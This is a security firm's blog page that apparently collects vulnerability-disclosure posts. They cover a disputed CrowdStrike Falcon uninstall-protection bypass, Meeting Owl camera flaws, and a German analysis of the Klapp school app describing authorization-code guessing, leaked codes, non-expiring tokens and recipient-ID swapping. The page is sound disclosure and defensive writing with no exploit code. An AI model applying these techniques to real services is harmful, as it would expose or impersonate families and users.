Ridiculous vulnerability disclosure process with CrowdStrike Falcon Sensor

Today, we publish a new advisory for a vulnerability in the CrowdStrike Falcon Sensor, that was found by our team-mate Pascal Zenker as part of a recent red-teaming engagement.

The vulnerability is a case of insufficient control flow management, that allows an attacker with administrative privileges to bypass the Falcon Agent Uninstall Protection feature of CrowdStrike. As the exploit needs high privileges, the overall risk of the vulnerability is very limited.

While the vulnerability itself might not be worth a blog post, we'd like to write a few lines about the ridiculous disclosure process.

CrowdStrike is a major vendor in the area of IT security and we expected a straightforward coordinated disclosure process. To our surprise, the communication and disclosure with CrowdStrike was tedious and turned unprofessional in the end. Throughout the whole process, CrowdStrike pushed us repeatedly to disclose the vulnerability through their HackerOne bug bounty program, which would have forced us to agree on the HackerOne Disclosure terms.

We communicated early on that we are neither willing to participate in any bug bounty program nor sign an NDA, because we are the ones, providing information to them. After providing CrowdStrike with a draft of the security advisory and exploit source code we were informed that they could not replicate the issue with an updated version of the sensor. Our request for a 14-day trial version to verify that ourselves was denied.

As the issue was not considered valid, we informed CrowdStrike that we would release the advisory to the public. In response, CrowdStrike tried again to set up a bug bounty disclosure meeting between "modzero's Sr Leadership" and CrowdStrike CISO "[...] to discuss next steps related to the bug bounty disclosure" in contrast to our previously stated disclosure rules.

Sometime later, we were able to acquire an updated version of the sensor and discovered that parts of the formerly provided exploit code and a specific msiexec call, are now flagged as malicious behaviour by the sensor. This leads us to conclude that CrowdStrike tried to "fix" the issue, while being told the issue didn't exist. Which is pretty disrespectful to us.

We were able to circumvent the countermeasures introduced silently by CrowdStrike. With small changes to the exploit, it is now working again (tested with version 6.42.15610 of the CrowdStrike Falcon software).

We believe that vulnerability disclosure is a two-way street. Vendors, as well as researchers, should act responsibly and show mutual goodwill and transparency. Mutual non-disclosure agreements and restrictions imposed by bug bounty programs limit the disclosure process. Remember, just because no CVE-IDs are publicly known, does not mean bugs haven't been reported and fixed. Many bug bounty reports never assign CVE-IDs, leading to a false perception of security and software quality.


Disclosure Timeline

2022/04    - Found   vulnerability  in   CrowdStrike  Falcon   Sensor
2022/06/04 - modzero  asked  for   security  contact  @  CrowdStrike,
             because their "report a  security bug" page only refered
             to the hackerone Bug Bounty program.
2022/06/06 - CS  answered   that  modzero   can  use   the  hackerone
             submission page, or  send an E-Mail to  their support at
2022/06/06 - modzero  asked   if  it   is  okay  to   send  sensitive
             information  about  0day  vulnerabilities  to  support@.
             modzero also told  CS that we are not  willing to accept
             terms & conditions  of hackerone, which is  why we asked
             for a direct security contact.
2022/06/06 - CS offered  to enroll  modzero in  a private  bug bounty
             program at  hackerone, under the conditions  that we are
             willing to sign a mutual non-disclosure agreement.
2022/06/07 - to  prevent further  misunderstandings, modzero  told CS
             again, that:

             * we would like to submit a security related bug.
             * we  don't  want  to  participate  in  any  bug  bounty
             * we are not willing to  sign any NDA because WE are the
             ones, providing information to CS.
             * we are  not  willing  to accept  any sort  of terms  &
             conditions that  are out of  scope of well  known hacker
             * we  only want  to get a  reliable security  contact on
             their side.

             Aditionally,  modzero  sent  a  link  to  their  current
             vulnerability disclosure policy.

2022/06/07 - CS told us to send the report to bugs@ for review.
2022/06/13 - CS asked for the report.
2022/06/13 - modzero told CS  that we need a little bit  more time to
             finish and double check everything before submitting.
2022/06/29 - modzero sent Security Advisory (draft), Proof of Concept
             exploit sourcecode, executable and a Screencast video of
             the PoC to CS.
2022/06/29 - CS  told  us,  that  we   were  testing  using  only  an
             unsupported  version of  the Falcon  Sensor. CS  told us
             about the  error message and  that they are not  able to
2022/07/05 - modzero told  CS that the  error message can  be ignored
             and refered to their PoC screencast video. We also asked
             for a recent (14-day trial)  version of Falcon Sensor to
             provide reliable information if  the most recent version
             is still vulnerable or not.
2022/07/05 - CS answered: "We  do not provide trial  licenses as part
             of this  process, however having  tested the PoC  on our
             end with  a modern sensor this  does not appear to  be a
             valid issue."
2022/07/05 - modzero  announced publishing  the advisory  and exploit
             code by end  of week, asking if the quote  of CS "Having
             tested the PoC on our end with a modern sensor this does
             not  appear to  be a  valid issue"  can be  used in  our
2022/07/06 - CS asking for a  meeting between modzero's Sr Leadership
             and CS to  discuss next steps related to  the bug bounty
2022/07/07 - modzero, again,  told CS, that we  are not participating
             in any bug  bounty program and that there is  no need to
             discuss NDAs or bug bounty programs.
2022/08/12 - modzero managed to acquire a recent version (6.42.15610)
             of CrowdStrike  Falcon and verified, that  the attack is
             still  possible. Furthermore,  modzero figured  out that
             the  vulnerability  (that  was rejected  by  CrowdStrike
             first) has  been silently fixed:  The PoC that  has been
             sent  to  CrowdStrike  was  flagged  as  malicious.  The
             msiexec  call of  the  deinstaller was  also flagged  as
             malicious.  Both "countermeasures"  can be  circumvented
             easily, we updated the exploit accordingly.
2022/08/22 - modzero   publishes   Security  Advisory   and   exploit
             code,  because  CrowdStrike  was  unwilling  to  set  up
             a  cooperative  information  exchange outside  of  their
             NDA-ridden BugBounty program  to discuss vulnerabilities
             in their products.

Posted by modzero | Permanent link | File under: security, software, hacking, modzero, exploit, redteam, rant , advisory


[EN] hoot hoot pwn

As part of an analysis of video conference solutions for a customer, we examined the Meeting Owl. The Meeting Owl is a smart, owl-shaped 360-degree video conference camera that is intended for use in companies and educational institutions.

Produkt Bild
Meeting Owl Pro. Source: https://owllabs.de/products/meeting-owl-pro

To use the owl, it must be connected to a computer via USB. Additionally, an app for iOS and Android, as well as a web interface for configuration and administration is provided. Although the device made a good first impression due to its appealing design and usability, the analysis revealed serious defects in the built-in security mechanisms.

Find Meeting Owls near you!!

By exploiting the vulnerabilities we found during our analysis, an attacker can find registered devices, their data, and owners from around the world. Attackers can also access confidential screenshots of whiteboards or use the Owl to get access to the owner's network. The PIN protection, which protects the Owl from unauthorized use, can be circumvented by an attacker by (at least) four different approaches.

owl distribution map
Some real Meeting Owl device locations across the world.

The map above was generated based on publicly available data which was also disclosed to Owl Labs.

Whiteboard Image
One of many whiteboard recordings that we were able to access via the Internet.

The details of these and other security vulnerabilities can be found in our detailed report (PDF).


According to our analysis described above, the Meeting Owl is currently everything but safe.
After we reported the weaknesses to the manufacturer, we only got feedback after contacting the American Cybersecurity and Infrastructure Security Agency, CISA. However, expanding your infrastructure with startup-technology may put your information security at risk. Sometimes it is useful, to examine the new technologies first before they are used in private and critical environments. Without such an assessment, unnoticed security risks can occur to the corporate or private network and its systems.

Disclosure Timeline

On 01/19/2022 we tried to contact the security officers at Owl Labs for the first time, unfortunately without success. On 02/01/2022 we tried again. Furthermore, on 02/09/2022 we contacted the German Bundesamt für Sicherheit in der Informtionstechnik (BSI) for further clarification with the American authority CISA. We received an answer from Owl Labs on 02/17/2022, after reporting to CISA.
After we asked for a timeline or roadmap, Owl Labs told us on 03/14/2022, that they will roll out updates starting next week, and that all vulnerabilities will be remediated by mid-May.
Until today, several update have been published by Owl Labs. According to a quick inspection, there are still open security issues and weaknesses, thus we postpone the release of our tools for another four weeks.

Our disclosure policy has been submitted to Owl Labs and is available here (PDF).

Posted by modzero | Permanent link | File under: modzero, security, software, hacking, exploit, advisory


[DE] hoot hoot pwn

Im Rahmen einer Analyse von Videokonferenzlösungen für einen Kunden, haben wir die Meeting Owl untersucht. Die Meeting Owl ist eine smarte, eulenförmige 360-Grad Videokonferenz-Kamera, die für den Gebrauch in Unternehmen und Bildungseinrichtungen gedacht ist.

Produkt Bild
Meeting Owl Pro. Quelle: https://owllabs.de/products/meeting-owl-pro

Zur Verwendung wird die Eule über USB an einem Computer angeschlossen. Zusätzlich wird eine App für iOS und Android sowie ein Webinterface für die Verwaltung zur Verfügung gestellt. Obwohl das Gerät aufgrund seines ansprechenden Designs und einfacher Benutzbarkeit einen guten ersten Eindruck machte, ergaben sich in der Analyse schwerwiegende Mängel in den eingebauten Sicherheitsmechanismen.

Finde Meeting Owls in DEINER Nähe!

Mit den von uns in der Analyse gefundenen Schwachstellen kann eine Angreiferin registrierte Eulen und die Daten ihrer Halterinnen auf der ganzen Welt finden, vertrauliche Screenshots von Whiteboards einsehen oder die Eule nutzen, um ins Firmennetzwerk zu gelangen. Auch der PIN-Schutz, mit dem man die Eule vor unbefugter Nutzung schützen kann, kann von einer Angreiferin auf (mindestens) vier verschiedene Arten umgangen werden.

Owl Gerätestandorte Weltweit
Einige der Meeting Owl Gerätestandorte weltweit.

Die obige Karte wurde anhand öffentlich einsehbarer Datensätze erstellt. Diese wurden an Owl Labs übergeben.

Whiteboard Bild
Eine von vielen Whiteboard-Aufnahmen, auf die wir im Laufe der Analyse zugreifen konnten.

Die Details zu diesen und weiteren Sicherheitslücken, können in unserem Report (PDF) nachgelesen werden.


Vor dem Hintergrund der oben beschriebenen Analyse ist die Meeting Owl aktuell nicht sicher einsetzbar. Nach dem wir die Schwachstellen dem Hersteller gemeldet haben, erfolgte eine Rückmeldung erst nach einer Meldung an die amerikanische Behörde für Informationssicherheit, CISA. Weiter zeigt dieser Fall, dass es bei der Erweiterung der eigenen Infrastruktur sinnvoll sein kann, die einzelnen eingesetzten Technologien im Hinblick auf ihre Sicherheit kritisch zu prüfen. Ohne eine solche Prüfung kann es zu unbemerkten Sicherheitsrisiken kommen, auch wenn die Technologie auf den ersten Blick einen soliden Eindruck macht.

Disclosure Timeline

Die anfängliche Analyse entwickelte sich schnell zu einem Sicherheitsalptraum, in dem mehr und mehr Sicherheitsrisiken zum Vorschein kamen. Am 19.01.2022 versuchten wir erstmals Kontakt zu den Sicherheitsverantwortlichen von Owl Labs aufzunehmen, leider ohne Erfolg. Am 01.02.2022 fragten wir erneut an. Parallel wendeten wir uns am 09.02.2022 an das Bundesamt für Sicherheit in der Informationstechnik für eine weitere Klärung mit der Amerikanischen Schwesterbehörde CISA. Eine Antwort von Owl Labs erhielten wir erst am 17.02.2022, nach der Meldung an die CISA. Auf Nachfrage teilt Owl Labs am 14.03.2022 mit, dass sie ab sofort Updates ausrollen würden, und bis Mitte Mai alle Sicherheitslücken behoben sein sollen. Es gab seitdem einige Updates, aber es sind noch längst nicht alle aufgedeckten Schwachstellen behoben. Daher werden wir unsere Werkzeuge erst in vier Wochen veröffentlichen.

Unsere Disclosure Policy haben wir an Owl Labs geschickt, sie ist hier (EN/PDF) abrufbar.

Posted by modzero | Permanent link | File under: modzero, security, software, hacking, exploit, advisory


Knapp daneben ist auch vorbei

Wir als modzero sehen seit einem Jahrzehnt Sicherheitsschwachstellen und Datenschutzvergehen in verschiedensten Variationen. Unabhängig von der Art oder Komplexität einer Schwachstelle sehen wir sehr oft einen wenig risikobewussten Umgang mit Daten und Ressourcen. Wir schreiben das Jahr 2020, und noch immer werden Applikationen mit der heissen Nadel gestrickt. Time-to-Market hat eine so hohe Priorität, dass nicht einmal grundlegende Sicherheitsprinzipien in die Lösungsarchitektur oder das individuelle Applikationsdesign einfliessen. Man findet an jeder Ecke Applikationen und Datenverarbeitungssysteme, die schlecht, d.h. unsicher, mit den ihnen anvertrauten Daten umgehen. Dies ist umso gravierender, wenn es sich um personenbezogene Daten oder gar Gesundheitsdaten handelt.

In unserem Artikel Mit Webapps gegen COVID-19 wollten wir darauf aufmerksam machen, dass jeder eine Verantwortung hat, dass Software angemessen sicher wird. Heute möchten wir dieses Thema mit einem weiteren Beispiel erneut aufgreifen. Die anhaltende Corona-Pandemie eröffnet neue Herausforderungen aber auch Möglichkeiten bei der Digitalisierung und der Datenverarbeitung. In allen Bereichen sucht man nach Lösungen, und spätestens während des totalen Lockdowns haben auch Schulen festgestellt, dass sie noch Nachholbedarf im digitalen Bereich haben. Es wurde alles eingesetzt was verfügbar war: Zoom, Teams, WhatsApp, Facebook Messenger. In der Schweiz wurde bereits vor drei Jahren eine schweizerische Plattform namens Klapp ins Leben gerufen, welche insbesondere die Kommunikation zwischen Eltern und Schule und Lehrpersonen vereinfachen soll. Einfache Kommunikation, die klappt!", so der Slogan des Unternehmens. Zu Zeiten von Corona hat diese Plattform einen massiven Nutzer-Zuwachs erhalten. Unter den Nutzern ist auch eine unserer MitarbeiterInnen.

Wie funktioniert Klapp?

Bei Klapp handelt es sich um ein schweizerisches Start-Up mit dem Sitz in Fislisbach (AG). Zum Zeitpunkt der Veröffentlichung gibt das Unternehmen an mehr als 200 Schulen, 8'600 Lehrpersonen und 45'000 Eltern eine Plattform zur Kommunikation zu bieten. Hier werden gemäss seinen Angaben täglich rund 3'000 individuelle Nachrichten versendet. (siehe hierzu Angaben durch Klapp) Die Daten werden ausschliesslich in der Schweiz gespeichert. Neben der Benutzung im Browser kann die App kann auch mit dem Smartphone (iOS und Android) genutzt werden.

Aus technischer Sicht ist Klapp eine cordova-basierte Web- und Mobile-App. Zur Registrierung als Elternteil oder Schüler benötigt man einen sogenannten Autorisierungs-Code. Nach erfolgreicher Registrierung ist der Zugriff auf die jeweilige Klasse und die damit verbundenen Funktionalitäten möglich. Während der Kurzanalyse wurden folgende Haupt-Funktionen als angemeldetes Elternteil identifiziert:

  • Gruppen und individual Chats
  • Versand von Dateien zwischen Kommunikationspartnern
  • Kalenderfunktionen
  • Informationen über die Klassenmitglieder
  • Namen der Kinder und registrierte Eltern
  • E-Mail-Adressen und Rufnummern (wenn freigegeben)
  • Damit Schulen die Klapp-Plattform nutzen können, wird zunächst ein Ex- und Import von Stammdaten vorgenommen. Zu diesem notwendigen Ex- und Import Prozess hat Klapp diverse Anleitungen veröffentlicht. Nach erfolgreichem Daten-Import können die Lehrpersonen Einladungsschreiben für die Eltern generieren. Diese enthalten Informationen über Klapp und sind personalisiert. Jedes dieser Einladungsschreiben hat nämlich zusätzlich den Namen des Kindes und einen Autorisierungs-Code für die Eltern aufgedruckt.

    Beispielhaftes Einladungsschreiben mit Autorisierungs-Code und Vor- Nachname des Kindes

    Dieser Autorisierungs-Code wird bei der Registration benötigt. Hiermit autorisiert sich die Anwenderin als Elternteil eines bestimmten Kindes. Der Autorisierungscode stellt somit das eindeutige Merkmal dar, um die betreffende Person zu identifizieren.

    Registrierungs Ansicht in der iOS-App

    Der Autorisierungs-Code hat das folgende Format: P-ABCDE1. Das Präfix "P-" steht für "Parent", Autorisierungs-Codes von Schülerinnen haben das Präfix "S-", was für "Student" steht. Die darauffolgenden Werte sind sechs alphanumerische Zeichen, Das bedeutet, dass es maximal 2.17 Milliarden mögliche "Parent" oder "Student" Codes gibt - Bei einer Anfrage pro Sekunde an den Klapp-Server benötigt man 3,7 Wochen um alle möglichen Autorisierungs-Codes zu erraten. Geht man von aktuell 45'000 verfügbaren Autorisierungs-Codes aus, trifft man mit einer Warscheinlichkeit von 52.49%, bei der selben Anfragerate, nach 10 Stunden mindestens einen gültigen Autorisierungs-Code. Würde man den möglichen Raum von Zeichen um Kleinbuchstaben und die Länge des Autorisierungs-Codes auf 10 erweitern, so bräuchte man, bei der angenommenen Anzahl an Anfragen pro Sekunde, 16 Millionen Jahre um alle durchzuprobieren. Die Annahme, dass nur eine Anfrage pro Sekunde möglich ist gilt als sehr konservativ, nicht selten können aktuelle Webserver bis zu 1000 Anfragen/Sekunde abarbeiten.

    Wie steht es bei Klapp um den Datenschutz?

    Die Daten der Applikation (Nachrichten, Chats und Bilder) werden zwar über einen verschlüsselten Kanal auf den Klapp-Server übertragen, werden auf dem Server aber unverschlüsselt gespeichert. Das heisst, dass mindestens der Betreiber und alle Involvierten, welche die Daten prozessieren, Informationen mitlesen und manipulieren könnten. Im Falle eines Klassenverbundes heisst das im einfachsten Fall, dass die Klapp GmbH sowie die Dienstleister für den Nachrichtenversand über die registrierten Kinder und Eltern sowie Klassengruppierungen und die versendeten Informationen Bescheid wissen. Werden sensible Informationen wie Krankheiten oder vielleicht Kritik- oder Entwicklungspunkte der Kinder zwischen Personen ausgetauscht, sind diese nicht umfassend gesichert und es ist nicht ersichtlich ob man mit dem legitimen Kommunikationspartner Daten austauscht.

    In Ihrer Datenschutzerklärung verspricht die Klapp GmbH:

    "Wir geben keine Personendaten an Dritte weiter und erzielen auch keinen kommerziellen Nutzen daraus. Ihre Personendaten, die Sie uns zur Verfügung stellen, werden von uns weder verkauft, vermietet noch gehandelt".

    Weiter schreibt die Klapp GmbH:

    "Ihre Daten speichern wir in der Schweiz. Benutzerdaten werden in der Schweiz gespeichert und verarbeitet und unsere Partner halten die schweizerischen und europäischen Datenschutzverordnung ein".

    Und "Privacy by Design" wird ebenfalls als Merkmal benannt. Die Aussage "Wir wollen mit Ihren Daten kein Geld verdienen. Ihre Benutzerdaten werden unter keinen Umständen an Dritte verkauft oder für Werbung verwendet." wirkt vertrauenserweckend.

    Auch die Schulen scheinen von der Lösung und deren Sicherheit überzeugt. Auf Anfrage, warum Vor- und Familienname an Dritte ohne Zustimmung mitgeteilt werde teilte eine Schule mit:

    "Die Firma Klapp hat nach der Registrierung nur Name und Vorname plus Schule Ihres Kindes. Diese gehören nach meinem Wissen nicht zu den besonders schützenswerten Daten. Es ist uns aber bewusst, dass ein sorgfältiger Umgang mit Daten zentral ist. Daher haben wir uns bei der App auch für die Firma Klapp entschieden, die einen hohen Standard bei der Datensicherheit garantiert".

    Bei einer technischen Betrachtung zeigt sich ein anderes Bild. Klapp verwendet beispielsweise für die Übermittlung der Daten Push-Nachrichten, welche über den US-Amerikanischen Dienst OneSignal versendet werden. Hier werden neben dem Vor- und Familiennamen des Absenders und der Betreff der Nachricht auch weitere Metainformationen über das verwendete Gerät und das Betriebssystem und des Netzwerkbetreibers gesammelt.

    Push-Benachrichtigung enthält Informationen über den Absender sowie Betreff der Nachricht
    POST /players/8a77f111-c146-402b-88f3-18d874c19872/on_session HTTP/1.1
    Host: api.onesignal.com
    Content-Type: application/json
    Cookie: __cfduid=dd2b3c2801e2179392b0232eac71bf6bf1597813825
    Connection: close
    If-None-Match: W/"698f061ae145e46b912b7e8e00450320"
    Accept: application/vnd.onesignal.v1+json
    SDK-Version: onesignal/ios/021402
    Accept-Language: de-ch
    Content-Length: 434
    Accept-Encoding: gzip, deflate
    User-Agent: Klapp/2.0.1 CFNetwork/1126 Darwin/19.5.0
      "app_id" : "bb3877cc-afc0-4d81-ac73-9339554c7686",
      "net_type" : 0,
      "device_type" : 0,
      "sdk" : "021402",
      "identifier" : "b5c9f6956a9606a93f564ac0677342ffafd9540b6c34ba170da574fd3f77dc08",
      "language" : "de-CH",
      "device_os" : "13.5.1",
      "game_version" : "2.0.1",
      "timezone" : 7200,
      "ad_id" : "CF7A0B86-311E-4EF7-A469-F7A5322B206A",
      "notification_types" : 31,
      "carrier" : "Salt",
      "device_model" : "iPhone11,2"

    Bei dem Versand via E-Mail verwendet Klapp den Dienstleister Mailgun - ebenfalls ein US-Unternehmen (siehe Datenschutzerklärung). Im Gegensatz zu den Push-Nachrichten beinhalten die E-Mail-Nachrichten auch die versendete Information, sowie Hyperlinks zu den allenfalls angehängten Dokumenten. Was bedeutet, dass neben Klapp auch Mailgun in der Lage ist, sämtliche E-Mail-Inhalte zu lesen oder zu manipulieren. Ob diese Firmen sich der hiesigen Gesetzeslage und Richtlinien unterwerfen, ist für uns aktuell nicht prüfbar. Wir möchten aber auch darauf hinweisen, dass die Daten auch ungewollt als Folge eines Erpressungsversuches oder eines Hacker-Angriffes bei dem Dienstleister geleakt werden könne .

    E-Mail erhalten über Mailgun enthält den genauen Text sowie Links zu den angehängten Dateien

    Wir geben der Firma Klapp recht. Privacy by Design ist wichtig... und zwar genau aus dem Grund, dass niemand unautorisiertes Drittes unsere Daten einsehen können sollte. Genau deshalb sollte konsequent Ende-zu-Ende-Verschlüsselung eingesetzt werden, wie es zum Beispiel im Leitfaden des Datenschutzbeauftragten des Kantons Zürich empfohlen wird. Deshalb werden Instant-Messengers wie Signal oder Threema von vielen bevorzugt, da der Transportweg sowie jede Zwischenspeicherung verschlüsselt ist und erst am eigentlichen Endgerät entschlüsselt werden kann.

    Nachdem wir uns dem Datenschutzversprechen der Firma Klapp GmbH und dem Thema Datenschutz gewidmet haben, möchten wir auf einige der technischen Unzulänglichkeiten eingehen. Viele der identifizierten Fehlerklassen sind trivial und bekannt. Auch wenn die Auswirkungen bei dieser Applikation möglicherweise gering ausfallen, möchten wir diese aufführen, weil wir diese immer wieder sehen.

    Und wie steht es um die Informationssicherheit?

    Datenschutz und Informationssicherheit sind eng miteinander verbunden und das Befolgen von Sicherheitsempfehlung wichtig, um den Datenschutz überhaupt zu Implementieren. Eine oberflächliche Betrachtung der Plattform hat gezeigt, dass grundlegende Sicherheitsprinzipien der Informationstechnik sowie der sicheren Entwicklung für mobile Anwendungen nicht befolgt wurden. Dies ist leider auch im Jahr 2020 immer noch häufig anzutreffen. Gerade in frühen Projektphasen ist die Erarbeitung von Bedrohungsmodellen und das Definieren von Sicherheitsanforderungen ein Kernpunkt, um später beim Lösungsdesign sowie der eigentlichen Entwicklung die richtigen Massnahmen und Methoden zu ergreifen. Gerade die gefundenen Trivialfehlerklassen zeigen, dass Datenschutz und Sicherheit während der Entwicklung der Plattform keine Schwerpunktthemen waren.

    Während der Nutzung der Applikation konnte beobachtet werden, dass nicht nur der eigene Autorisierungs-Code vom Klapp-Server übermittelt wird, sondern auch die Autorisierungs-Codes, welche es den anderen Eltern ermöglichen sich eindeutig zu identifizieren.

    Auszug aus der Server-Antwort. Zu sehen ist ein JSON-Objekt mit Informationen zu Kindern und Eltern. Ausserdem sind die Autorisierungs-Codes der Eltern enthalten.

    Das bedeutet, dass jeder Empfänger das eindeutige Identifizierungsmerkmal aller Klassenteilnehmer besitzt und deren Identität übernehmen kann. Die Auswirkung eines Missbrauchs erscheint vielleicht aktuell nicht weiter schlimm bei einer solchen Verwendung. Soziales Schadenspotenzial ist auf jeden Fall vorhanden und Vertrauensmissbrauch ist möglich. Wichtig ist jedoch zu verstehen, dass eine zukünftige Funktionserweiterung der Plattform noch andere betrügerische Aktivitäten ermöglichen könnte, die heute vielleicht noch nicht absehbar sind. Hätte Klapp eine Implementierung nach den eigens aufgestellten Prinzipien der Datensparsamkeit und Need-to-Know Basis gewählt, wäre dieser Fehler gar nicht aufgetreten. Diese Schwachstelle wurde umgehend dem Klapp-Team gemeldet und Sie wurde am Abend des 24. August 2020 durch ein serverseitiges Update behoben. Daraufhin hat das Klapp-Team auch eine interne Nachricht an die BenutzerInnen versendet in der zu einer manuellen Überprüfung der registrierten Elternteile aufgerufen wird.

    In-App Benachrichtigung des Klapp-Teams nachdem die Autorisierungs-Code-Leck Schwachstelle behoben wurde.

    Ebenfalls ein Klassiker unter den trivialen Fehlern in Applikationen ist eine Vertrauensstellung durch sehr langlebige Authentisierungsmerkmale. Im Falle der Klapp-Applikation sind es JSON-Web-Token ohne Ablaufzeitpunkt. Jeder, der in den Besitz eines solchen Tokens gelangt, kann ohne zusätzliche Merkmale wie Benutzername oder Passwort andere Nutzer imitieren und hat somit automatische die Identität und Berechtigungen des legitimen Eigentümers. Bei der Klapp-Applikation werden diese Tokens auf dem Endgerät ohne zusätzliche Schutzmassnahmen abgelegt und gelangen so auch auf Backup-Datenträger oder Cloud-Dienste. Auch hier möchten wir darauf hinweisen, dass die Auswirkungen zum Glück in dem heutigen Anwendungsfall moderat ausfallen. Bekannte Schwachstellen zu implementieren ist auf jeden Fall eine schlechte Praxis, auch wenn sie aktuell wenig Relevanz haben.

    Unsterblicher JSON-Web-Token da kein Ablaufzeitpunkt (exp angegeben ist.)
    Die SQLite Datenbank ist nicht verschlüsselt. Auch die darin enthaltenen Informationen sind nicht durch die App verschlüsselt.
    Die SQLite Datenbank befindet sich in einem Geräte Backup.

    Der Versand von individual Nachrichten an Lehrer ist eine von der Plattform vorgesehene Funktionalität. Wählt man "Neue Nachricht" aus so erscheint eine Auflistung der Lehrer, welche zum Empfang von Nachrichten autorisiert sind. Jeder Lehrer hat in der Plattform eine eindeutige Benutzerkennung, Beispielsweise 5f3bf6370452c910612c71be. Diese wird beim Versand der Nachricht angegeben. Eine solche Benutzerkennung haben auch Eltern und Schüler. Tauscht man die Benutzerkennung des Lehrers mit der eines anderen Elternteils aus, so wird die Nachricht an den gewünschten Empfänger übermittelt.

    In-App Nachricht an ein anderes Elternteil versendet.

    Soweit modzero bekannt, ist dies keine vorgesehene Funktionalität. Auch hier müssen wir erneut darauf verweisen, dass solche Fehlerklassen üblich sind. Nur weil eine Benutzeroberfläche eine Einschränkung vorsieht, muss diese von der Applikation nicht zwingend umgesetzt worden sein. Eine Einschränkung in der Benutzeroberfläche ersetzt nicht ein striktes Umsetzen eines ordentlichen Benutzer- und Rollenkonzeptes auch im Backend.

    Beiläufig sind noch weitere Probleme aufgefallen, welche hier nicht im Detail beschrieben werden, aber auch mit dem Klapp-Team besprochen wurden:

  • Sensible Informationen in lokaler SQLite-Datenbank (iOS)
  • SQLite Datenbank (iOS) in einem Backup vorhanden
  • Fehlendes Zertifikats-Pinning und Jailbreak-Erkennung
  • Keine Möglichkeit den Zugriff auf die App durch Pass Code oder biometrische Merkmale zu beschränken
  • Fazit

    Dies soll kein Aufruf zur Verhinderung von Innovation oder Digitalisierung sein, jedoch bitten wir jeden einzelnen Entwickler, Architekt, CEO... JEDEN Involvierten... seine Verantwortung wahrzunehmen und im Zweifelsfall jemanden hinzuzuziehen, der die Sachlage neutral beurteilen kann.

    Natürlich kann in diesem Beispiel argumentiert werden, dass die Auswirkungen der Schwachstellen ja überschaubar sind und die Schutzmassnahmen für das Anwendungsgebiet möglicherweise ausreichen. Das Problem einer solchen Argumentation liegt dabei, dass sich die Umgebung, der Funktionsumfang, die Entwicklungsprozesse sowie die Firmen selbst zukünftig wandeln werden. Selbst wenn zum jetzigen Zeitpunkt ein Unternehmen ehrbare Ziele verfolgt oder eine Applikationsschwachstelle nur eine verhältnismässig geringe Auswirkung aufweist, so kann sich dies schon Morgen ändern. Es ist daher wichtig bereits früh in der Projektphase die richtigen Entscheidungen zu treffen und Fehlfunktionen, Schwachstellen und Bedrohungsmodelle als integral wichtigen Bestandteil zu behandeln.

    Zeitlicher Ablauf

  • 2020-08-18  Einladungsschreiben der Schule erhalten.
  • 2020-08-18  Schwachstellen aufgedeckt.
  • 2020-08-19  Klapp kontaktiert. Klapp hat sich zurückgemeldet.
  • 2020-08-21  Schwachstellen telefonisch an Klapp übermittelt. Schwachstellen akzeptiert.
  • 2020-08-24  Rückmeldung von Klapp erhalten, dass die Autorisierungs-Code Schwachstelle behoben wurde

  • Posted by Sven Fassbender, Max Moser | Permanent link | File under: mobile , security, software, exploit, advisory

    2020-07-07 11:00:23

    Mit Webapps gegen COVID-19

    Am 29. Juni 2020 hat unser Kollege Joël Gunzenreiner eine Schwachstelle in der Web-Applikation forAtable entdeckt. Die App dient der Erfassung von Kontaktdaten von Veranstaltungs- und Restaurantgästen, um mögliche COVID-19-Infektionsketten nachverfolgen zu können. Durch die Ausnutzung dieser Schwachstelle war es möglich, sämtliche über die Gäste erfassten Daten auszulesen.

    Erster Akt: Die Regeln

    Am 06. Juni 2020 wurden in der Schweiz die Corona-Einschränkungen weitreichend gelockert, und am 22. Juni 2020 fast vollständig aufgehoben. Der Schweizer Bundesrat hat in Folge diverse Maßnahmen zur weiteren Eindämmung von Covid-19 erlassen.

    Eine dieser sog. "Massnahmen betreffend öffentlich zugängliche Einrichtungen, Betriebe und öffentlichen Veranstaltungen", schreibt vor, dass bestimmte Vorgaben umgesetzt werden müssen, um die Hygiene- und Abstandsregeln einzuhalten. Beispielsweise müssen gemäss Artikel 5 der Corona-Verordnung des Schweizer Bundesrates die Kontaktdaten der Besucher*innen von Restaurants oder Veranstaltern erhoben werden. In einem vom Branchenverband der Schweizer Gastronomie GastroSuisse in Zusammenarbeit mit mehreren Bundesämtern veröffentlichten Schutzkonzept wurden Möglichkeiten der Erhebung sowie die zu erhebenden Daten festgelegt:

    Kontaktdaten können insbesondere über Reservations- oder Mitgliedersysteme oder mittels Kontaktformular erhoben werden. Es sind folgende Daten zu erheben:
    1. Name, Vorname, Wohnort, Telefonnummer und Tischnummer
    2. in Gästebereichen von Restaurationsbetrieben einschliesslich Bar- und Clubbetrieben, in denen die Konsumation stehend erfolgt, sowie in Diskotheken und Tanzlokalen: die Ankunfts- und Weggangszeit;
    3. bei Veranstaltungen ohne Sitzplätze mit mehr als 300 Personen: der Sektor, in dem sich die Person aufhalten wird.
    (Auszug aus GastroSuisse Schutzkonzept Kapitel 9)

    Das Schutzkonzept schreibt weiter vor, dass Betreiber*innen und Organisator*innen die Vertraulichkeit der Daten während der Aufbewahrung sicherstellen müssen. Eine Nutzung der Datensätze zu einem anderen als dem vorgesehenen Zweck ist dabei ebenso vorgeschrieben wie die Löschung der Datensätze nach 14 Tagen.

    Zweiter Akt: Lösungen

    In den meisten Gaststätten finden Gäste dieser Tage oft einen kleinen Zettel mit einem Stift auf dem Tisch vor. Auf diesem Zettel vermerken die Gäste ihre geforderten persönlichen Daten und ggf. weitere Angaben zur Person.

    Der Zettel verschwindet dann im Backoffice des Betriebs und wartet auf den Schredder oder die Behörde. Dies scheint datenschutztechnisch die derzeit schmerzärmste Variante zu sein, da zum einem eine Contact-Tracing-App auf einem Smartphone in einem Restaurant teilweise nur bedingt hilft, und zum anderen jede*r Besucher*in vor dem Einlass zur Handy-Kontrolle antreten müsste.

    Zettel und Stift? Es dauerte nicht lang, bis dieser Umstand als Weckruf die Kanäle der Online-Tischreservierungs-Branche erreichte. Letztere produzierte hektisch eine Online-Version der "Zettel und Stift"-Variante: Das Züricher Startup LunchGate bastelte noch schnell eine Corona-Tracing-Funktion in ihre Tischreservierungs-Web-Applikation, und war im Geschäft.

    Die Erfassung der erforderlichen Daten erfolgt über ein entsprechendes Formular der forAtable-Web-Applikation. Dies kann über das Scannen eines QR-Codes mit dem Smartphone oder durch die direkte Eingabe der URL geschehen. Auf dem Smartphone des Gastes präsentiert sich das Formular wie in Abbildung 1 links:

    Abbildung 1

